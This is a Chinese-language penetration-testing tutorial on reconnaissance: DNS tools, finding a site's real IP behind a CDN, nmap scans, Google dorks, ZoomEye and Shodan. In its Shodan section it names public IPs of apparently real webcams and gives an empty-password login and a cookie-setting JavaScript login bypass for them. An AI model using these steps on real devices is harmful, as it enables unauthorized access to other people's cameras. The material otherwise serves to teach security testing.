渗透测试
信息收集
一、IP地址信息收集
1. 通过DNS解析找IP地址
1.1 ping命令
非权威解答
1.2 nslookup命令
非权威解答,主要用来诊断域名系统基础结构的信息
1.3 dig工具
Dig是域信息搜索器的简称(Domain Information Groper),使用dig命令可以执行查询域名相关的任务。
常见域名记录:
A(主机记录 把一个域名解析成IP地址)
C name(别名记录 把一个域名解析到另一个域名)
NS(这个域的域名服务器的地址记录)
MX(邮件交换记录 指向这个域的FTP服务器的地址)
ptr(把IP解析成域名)
# 指定dns服务器
dig @指定dns服务器 域名
# 获取域名详细解析过程
dig +trace 域名
1.4 dnsenum
dnsenum 是一款非常强大的域名信息收集工具,dnsenum的目的是尽可能收集一个域的信息,它能够通过谷歌或者字典文件猜测可能存在的域名,以及对一个网段进行反向查询。它可以查询网站的主机地址信息、域名服务器、mx record(函件交换记录);
会自动在域名服务器上执行axfr请求(axfr请求是从DNS服务器请求在主DNS服务器上更新信息的一类域名系统的请求),通过谷歌脚本得到扩展域名信息(google hacking),提取自域名并查询,计算C类地址并执行whois查询,执行反向查询,把地址段写入文件,即域传送漏洞。
1.5 站长工具
https://tool.chinaz.com/,可以查询dns、路由追踪等。
可以查询:
- IP查询
- 同IP网站查询
同一个IP上的网站(旁站)、C段查询 - IP whois 查询
- IP Location
2. 通过CDN收集IP信息
2.1 CDN概述
CDN(Content Delivery Network),内容分发网络。
CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,本意是节点缓存,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。
简述CDN:
简单说就是举个例子:淘宝相当于未使用CDN的网站,你在A地下单,而你下单的商家在遥远的B地,在物流派送的时候就是从B运往A,距离特别长,你需要等两三天才可以收到你的商品;而京东相当于使用了CDN,当你再京东下完单,京东会根据你的地理位置选择离你最近的仓库为你发货,从而减少发货时间可能当天就到了。
2.1 绕过CDN查找网站真实IP
2.1.1 查看是否使用CDN
- 使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN;
- 使用 nslookup 进行检测,如果返回域名解析对应多个 IP 地址多半是使用了 CDN;
- 使用工具帮助检测目标网站是否使用了 CDN,如:
http://www.cdnplanet.com/tools/cdnfinder/
2.1.2 绕过 CDN 查找网站真实 IP
- 查询历史DNS记录
查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://viewdns.info/
https://x.threatbook.cn/
- 查询子域名
因为 CDN 还是不便宜的,所以很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。 - 服务器合法服务主动连接我们
同上一样的思路就是让服务器主动连接我们,然后告诉我们它的IP,不过使用的是合法的服务,如RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
3. IP物理地址
- 查询IP经纬度
https://www.maxmind.com/en/home
查询结果:
- 根据GPS查询
http://www.gpsspg.com/maps.html
二、端口信息收集
1. 端口概述
如果把IP地址比作一间房子,端口就是出入这间房子的门。真正的房子只有几个门,但是一个IP地址的端口可以有65536 (即: 2^16
),端口是通过端口号来标记的,端口号只有整数,范围是从0到65535 (2^16-1
) 。
2. 查看端口号
- windows环境
- linux环境
3. 端口信息收集
对于收集目标机器端口状态可以使用工具来进行测试。
工具原理:使用TCP或者UDP等协议向目标端口发送指定标志位等的数据包,等待目标返回数据包,以此来判断端口状态。
3.1 nmap探测
Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。
原理:nmap默认发送一个ARP的PING数据包,来探测目标主机1-10000范围内所开放的所有端口。
# 扫描的目标主机的ip地址
nmap <target ip address>
# 对结果详细输出
namp -vv <target ip address>
# range:端口可以写范围(80-220)也可以写具体的(80,3306,)
nmap -p(range) <target IP>
# ping 方式进行扫描
nmap -sP <target ip>
# 路由器追踪功能,查找网络节点和通过各个结点所花费的时间
nmap --traceroute <target IP>
# nmap 操作系统类型的探测
nmap -O <target IP>
# nmap万能开关,包含了1-10000端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
nmap -A <target ip>
# 快速扫描(可以加快执行速度)
nmap -T4
3.2 masscan探测
masscan的扫描结果类似于nmap,它采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快、更加灵活。
3.3 站长之家
三、搜集敏感信息
1. google hacking
利用谷歌搜索引擎,在互联网中搜索到我们需要的信息。
轻量级的搜索可以搜素出一些遗留后门,不想被发现的后台入口;
中量级的搜索出一些用户信息泄露,源代码泄露,未授权访问等等;
重量级的则可能是mdb文件下载,CMS 未被锁定install页面,网站配置密码,php远程文件包含漏洞等重要信息。
2. 基本命令
关键字 含义
site: 在某个指定的网站内搜索指定的内容
intitle: 从网页标题中搜索指定的关键字
inurl: 从url中搜索指定的关键字
intext: 从网页中搜索指定的关键字
filetype: 搜索指定的文件后缀
link: 搜索与该链接有关的链接
info: 指定搜索网页信息info:baidu.com
google hacking数据库:https://www.exploit-db.com/google-hacking-database
示例1:搜索网站目录结构(关键字用引号括起来)
"parent directory" site:网站
示例2:容易存在sql注入
site testfire.net inurl:login
示例3:phpstudy弱口令搜索
搜索php探针:intitle:"php中文网 探针2014"
2. 钟馗之眼
1. 概述
https://www.zoomeye.org/,ZoomEye支持公网设备指纹检索和Web指纹检索。网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据等,网站内有搜索助手可以查看搜索语法。
2. 部分语法
app:"Cisco ASA SSL VPN 搜索思科ASA-SSL-VPN的设备
os:"RouterOS" 搜索相关操作系统
service:"ssh" 搜索对应服务协议的资产(http、ftp、ssh、telnet等)
port:80 搜索相关端口资产
3. shodan
与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。
-
webcam(网络摄像头)
-
port:端口号
-
host:IP地址
-
city:城市名
-
搜索关键字
JAWS/1.0
,找到公网中摄像头。
- 空口令登入
点击第一条连接,即可进入登录页面。使用口令[admin/空],即可进入后台,查看摄像头。
http://197.149.45.145/view2.html - 登录绕过
http://86.99.112.102:9000/view2.html
在控制台中输入以下JS代码,然后直接访问[/view2. html],即可绕过登录验证进入控制台。
document.cookie=“dvr_camcnt=4”;
document.cookie=“dvr_usr=admin”;
document.cookie=“dvr_pwd=123”;
kali上的shodan:
四、网站信息收集
1. 指纹信息
浏览器插件:Netcraft Extension
查看网站的基本信息,如网站的IP地址,网站流量排名,归属国家,使用的服务器信息。
Site Report
2. web服务器信息
浏览器插件:Wappalyzer
分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数。